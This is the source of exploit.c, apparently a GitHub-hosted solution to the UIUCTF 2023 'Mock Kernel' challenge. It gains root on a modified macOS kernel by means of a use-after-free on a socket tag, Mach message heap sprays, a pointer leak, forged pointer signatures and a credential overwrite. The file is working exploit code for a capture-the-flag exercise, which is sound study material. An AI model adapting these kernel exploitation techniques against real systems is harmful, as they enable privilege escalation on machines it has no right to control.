-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.c
373 lines (301 loc) · 9.79 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
/*
* Solution to "Mock Kernel", a CTF challenge from UIUCTF 2023
* Created by Joseph Ravichandran (@0xjprx)
*
* g++ exploit.c -o exploit -lcrypto
*/
#include <sys/mman.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <mach/mach.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <openssl/md5.h>
#include <sys/ucred.h>
#include <sys/types.h>
#include <vector>
// Various debug options (uncomment to enable):
//#define DEBUG_MODE
//#define SOFTPAC_DEBUG_KPRINTF
/* We don't need any of these hardcoded as we can use known struct offsets and the gs segment, */
/* however I am lazy and don't want to write that when we can just assume their locations as no kASLR in Snow Leopard :) */
#define CURRENT_PROC 0xffffff800025350cULL
#define PROC_UCRED 0xffffff8000249967ULL
#define SO_SOTAG_MODE ((0x1337)) /* Special socket option for UIUCTF 2023 tagged sockets (sotag's) */
#define OOL_THINGY_SIZE ((8))
#define HEAP_SPRAY_NUM 1200
#define VM_COPY_MAP_KDATA_OFFSET 24
typedef struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t descriptor;
} spray_msg_t;
#ifndef SOFTPAC_H
#define SOFTPAC_H
#define PAC_SHIFT 47ULL
#define PAC_LEN 16ULL
#define BITMASK_63 (((1ULL << 63ULL)))
/* The bits that are affected by PAC (62->47 inclusive) */
/* Uppermost bit (63) is used to distinguish kernel / user addrs */
#define PAC_BITMASK 0x7FFF800000000000ULL
typedef __uint16_t pac_t;
typedef __uint64_t softpac_key_t;
typedef __uint64_t softpac_salt_t;
typedef enum {
SOFTPAC_DATA,
SOFTPAC_INST,
} softpac_flavor_t;
/*
* softpac_sign
* Encrypt a pointer using a given key, salt, and flavor.
*/
void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr);
/*
* softpac_auth
* Authenticate a pointer using a given key, salt, and flavor.
*/
void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr);
#endif // SOFTPAC_H
#ifndef SOTAG_H
#define SOTAG_H
#define SOTAG_SIZE ((0x40))
typedef enum {
CTF_CREATE_TAG, /* Allocate a tag buffer to attach to this socket (so->tagged_sotag) */
CTF_EDIT_TAG, /* Write to the tag (copying the tag field from the sotag struct) */
CTF_SHOW_TAG, /* Read the value of the tag out to userspace via getsockopt */
CTF_REMOVE_TAG /* Free socket's sotag but don't NULL it out! */
} sotag_action;
struct sotag_vtable {
void (*dispatch)(char *, char *);
};
struct sotag {
char tag[SOTAG_SIZE];
struct sotag_vtable *vtable; /* +0x40: First controlled bytes by OOL mach message type confusion */
};
struct sotag_control {
sotag_action cmd;
struct sotag payload;
};
void sotag_encrypt();
void sotag_decrypt();
#endif // SOTAG_H
pac_t compute_pac(softpac_flavor_t flavor, softpac_key_t key, void *plainptr) {
MD5_CTX ctx;
u_int8_t digest[MD5_DIGEST_LENGTH];
pac_t pac = 0;
int i;
MD5_Init(&ctx);
MD5_Update(&ctx, &flavor, sizeof(flavor));
MD5_Update(&ctx, &key, sizeof(key));
MD5_Update(&ctx, &plainptr, sizeof(plainptr));
MD5_Final(digest, &ctx);
for (i = 0; i < MD5_DIGEST_LENGTH / 2; i++) {
pac ^= digest[2*i] | (digest[2*i+1] << 8);
}
return pac;
}
void *strip_signature(void *ptr) {
return (void *)((u_int64_t)ptr & (~PAC_BITMASK));
}
pac_t get_signature(void *ptr) {
return ((u_int64_t)ptr & PAC_BITMASK) >> PAC_SHIFT;
}
/*
* canonicalize
* Sign extend bit 63 to fill up all the PAC bits
*/
void *canonicalize(void *ptr) {
if ((((uint64_t)ptr) & BITMASK_63) != 0) {
/* Canonical kernel pointer */
return (void *)(((uint64_t)ptr) | PAC_BITMASK);
}
else {
/* Canonical userspace pointer */
return (void *)(((uint64_t)ptr) & ~PAC_BITMASK);
}
}
void *softpac_sign(softpac_flavor_t flavor, softpac_key_t key, void *plainptr) {
u_int64_t rv;
pac_t pac;
pac = compute_pac(flavor, key, strip_signature(plainptr));
rv=((u_int64_t)strip_signature(plainptr)) | (((u_int64_t)pac) << PAC_SHIFT);
#ifdef SOFTPAC_DEBUG_KPRINTF
printf("softpac_sign: 0x%llX -> 0x%llX (PAC is 0x%hX)\n", (u_int64_t)plainptr, (u_int64_t)rv, pac);
printf("\tkey is 0x%llX\n", key);
#endif // SOFTPAC_DEBUG_KPRINTF
return (void *)rv;
}
void *softpac_auth(softpac_flavor_t flavor, softpac_key_t key, void *encptr) {
u_int64_t rv;
pac_t correct_pac, actual_pac;
correct_pac = compute_pac(flavor, key, strip_signature(encptr));
actual_pac = get_signature(encptr);
if (correct_pac != actual_pac) {
#ifdef SOFTPAC_DEBUG_KPRINTF
printf("softpac_auth: Incorrect PAC (got 0x%hX expected 0x%hX)\n", actual_pac, correct_pac);
#endif // SOFTPAC_DEBUG_KPRINTF
return NULL;
}
rv = (uint64_t)canonicalize(encptr);
#ifdef SOFTPAC_DEBUG_KPRINTF
printf("softpac_auth: Correct PAC\n");
printf("Returning 0x%llX\n", rv);
#endif // SOFTPAC_DEBUG_KPRINTF
return ((void *)rv);
}
int fd;
std::vector<mach_port_t> all_allocated_ports;
// This is the function we want to get the kernel to call
// It will elevate our privileges to root mode
void target_fn() {
void *p = ((void *(*)())CURRENT_PROC)();
struct ucred *c = ((ucred *(*)(void *))PROC_UCRED)(p);
c->cr_uid = 0;
c->cr_ruid = 0;
c->cr_svuid = 0;
c->cr_rgid = 0;
c->cr_svgid = 0;
c->cr_gmuid = 0;
//while(true);
}
// Perform heap spray of contents
// Size should be between 0 and 8
kern_return_t spray_once(size_t sz, uint64_t contents) {
mach_port_t new_port;
kern_return_t kr;
uint64_t databuf = contents;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &new_port);
if (kr != KERN_SUCCESS) {
printf("%s\n", mach_error_string(kr));
return kr;
}
all_allocated_ports.push_back(new_port);
spray_msg_t m;
m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = new_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
m.hdr.msgh_id = 1;
m.body.msgh_descriptor_count = 1;
m.descriptor.address = &databuf;
m.descriptor.size = sz;
m.descriptor.copy = MACH_MSG_VIRTUAL_COPY;
m.descriptor.deallocate = false;
m.descriptor.type = MACH_MSG_OOL_DESCRIPTOR;
kr = mach_msg((mach_msg_header_t *)&m, MACH_SEND_MSG, sizeof(m), 0, 0, 0, 0);
if (kr != KERN_SUCCESS) {
printf("%s\n", mach_error_string(kr));
return kr;
}
return kr;
}
// Receive all sprayed ports
void free_all(void) {
spray_msg_t m;
m.hdr.msgh_size = sizeof(m);
std::vector<mach_port_t>::iterator it = all_allocated_ports.begin();
for(it = all_allocated_ports.begin(); it < all_allocated_ports.end(); it++) {
mach_msg((mach_msg_header_t *)&m, MACH_RCV_MSG, 0, sizeof(m), *it, 0, 0);
}
}
// Call setsockopt for the socket at `fd`
int so(struct sotag_control *opts) {
int err = setsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, opts, sizeof(*opts));
if (0 != err) {
printf("setsockopt error (%s)\n", strerror(errno));
}
return err;
}
// Call getsockopt for the socket at `fd`
int go(struct sotag_control *opts) {
socklen_t len = sizeof(*opts);
int err = getsockopt(fd, SOL_SOCKET, SO_SOTAG_MODE, opts, &len);
if (0 != err) {
printf("getsockopt error (%s)\n", strerror(errno));
}
return err;
}
int main() {
int i;
// Setup payload
void *mmap_loc = (void *)&target_fn;
printf("[*] Payload target is: 0x%llX\n", (uint64_t)mmap_loc);
printf("[*] Creating a socket\n");
fd=socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
printf("Error creating socket\n");
return EXIT_FAILURE;
}
struct sotag_control opts;
opts.cmd = CTF_CREATE_TAG;
bzero(&opts.payload, sizeof(opts.payload));
printf("[*] Allocating a socket tag\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
so(&opts);
opts.cmd = CTF_EDIT_TAG;
memset(&opts.payload, 'A', sizeof(opts.payload));
printf("[*] Filling socket tag\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
so(&opts);
opts.cmd = CTF_REMOVE_TAG;
printf("[*] Freeing the socket tag\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
so(&opts);
printf("[*] Performing 1st round OOL mach message heap spray\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
for (i = 0; i < HEAP_SPRAY_NUM; i++) {
// Spray OOL messages with a 1 byte overrun- we know that the vtable is aligned to 0x100 so this one byte overwrite
// will overwrite the LSB of the vtable pointer which is always 0x00 anyways.
// Each OOL message fills up the entire 0x40 byte tag region, plus sz bytes (in this case just 1).
// Can't do a 0 byte allocation because of ipc_kmsg.c:2037 check for 0 length.
spray_once(1, 0x0000000000000000ULL);
}
// Read in the new leak from vm_map_copy.kdata (+24 bytes into the structure).
// We can only do this since the 1 byte overrun didn't completely screw up the vtable pointer,
// since we only overwrite the LSB which we know is always 0x00.
go(&opts);
uint64_t final_kdata_leak = *(uint64_t *)(&opts.payload.tag[VM_COPY_MAP_KDATA_OFFSET]);
uint64_t final_spray_vtable = (uint64_t)softpac_sign(SOFTPAC_DATA, final_kdata_leak, (void *)(final_kdata_leak - 56));
uint64_t final_vtable_entry_forged = (uint64_t)softpac_sign(SOFTPAC_INST, final_kdata_leak - 56, mmap_loc);
printf("[*] Leaked pointer from heap: 0x%llX\n", final_kdata_leak);
printf("[*] Freeing 1st round heap spray\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
free_all();
printf("[*] Performing 2nd round OOL mach message heap spray of forged vtable pointers\n");
printf("[*] Spraying forged signed vtable: 0x%llX\n", final_spray_vtable);
#ifdef DEBUG
getchar();
#endif // DEBUG
for (i = 0; i < HEAP_SPRAY_NUM; i++) {
spray_once(sizeof(final_spray_vtable), final_spray_vtable);
}
// Copy fake vtable in
opts.cmd = CTF_EDIT_TAG;
memcpy(&opts.payload.tag[0x8], &final_vtable_entry_forged, 8);
printf("[*] Copying fake vtable entry into socket tag\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
so(&opts);
printf("[*] Triggering Use-After-Free\n");
#ifdef DEBUG
getchar();
#endif // DEBUG
go(&opts);
return EXIT_SUCCESS;
}